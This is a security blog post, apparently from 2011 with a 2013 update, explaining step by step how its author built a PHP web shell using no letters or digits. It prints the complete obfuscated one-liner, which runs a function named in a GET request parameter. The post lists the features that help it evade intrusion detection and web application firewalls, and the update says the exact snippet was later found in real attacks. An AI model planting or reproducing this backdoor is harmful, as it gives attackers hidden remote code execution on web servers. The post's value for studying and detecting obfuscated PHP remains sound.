Non-Alphanumeric PHP Shell
UPDATE NOV 13 2013: As seen on Sucuri, this exact snippet of mine was spotted in the wild in 2013. When this article was first published in 2011, my blog was at blog.omfgitsasalmon.com (Wayback machine) and I wasn’t getting a lot of views back then. In an effort to make sure my codes are not used maliciously. I will not be publishing any exploits on this website unless they have been patched and have been confirmed to not be a vulnerability anymore.
After seeing Mr. Gareth Hayes from The Spanner made a non-alphanumeric shell variant. I got inspired by his nifty script and started researching further.
My main plan was to create an array of data with different values in order to have something to work with. So my first shot was this:
@$_[]=@!+_;
PHP will try to parse the green underscore as a constant, when the interpreter is unable to find the constant it will prompt you with a notice. I suppress the notice warning using the ‘@’.
The “lost-constant” in turn will be converted to a string (string(1) “_”).
Just like Gareth Hayes, I used the plus-operator (red) to cast the string to an integer (int(0)).
By appending the exclamation mark (blue), the value 0 will be cast to a boolean (bool(true)).
So far so good! We have a boolean saying true!
I try to store it by pushing the value into the array $_ (yellow). However, it doesn’t exist.
By suppressing that too, PHP will automagically create it for you, and your value will get stored.
That’s how I initialize my array. So, what do we do know?
Well, just like Mr. Gareth stated, if you try to access an array as a string in PHP.
It will generate the string “Array”.
If we have a string, we can generate other strings out of it by (ab)using AND, OR, and XOR.
I figured I had quite a few characters I easily could generate in PHP.
So I coded this fuzzer in VB.NET which permutated through AND, OR, and XOR and gave me all the combinations that matched any letter in the words GET, POST, and REQUEST. (Now when I’m thinking about it, later on, I could have added COOKIE too…)
Nevertheless, my fuzzer (phpfuzz.vb) gave me the following results: fuzz_result.txt.
By analyzing the results, you’ll notice we’re able to generate all of those three methods by using only a 15-character list.
But for the sake of clarity, I chose to go with GET.
By utilizing some boolean magic and variable dereferencing I ended up with this:
<? @$_[]=@!+_;$__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++))].=$_; $_[]=++$__;$_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+$_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__]=($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__]); $_[$__+$__].=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__]); $_[$__+$__].=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__]; $_=$ //omfgitsasalmon.posterous.com $_[$__+$__];$_[@-_]($_[@!+_]); ?>
The method for execution used in Gareth’s shell remains the same.
But if you look at it, I added a few sneak factors.
- No quotes! Quotes tend to trigger IDS’es and WAFs.
- No use of functions.
- No strings.
- No numbers.
- No constants.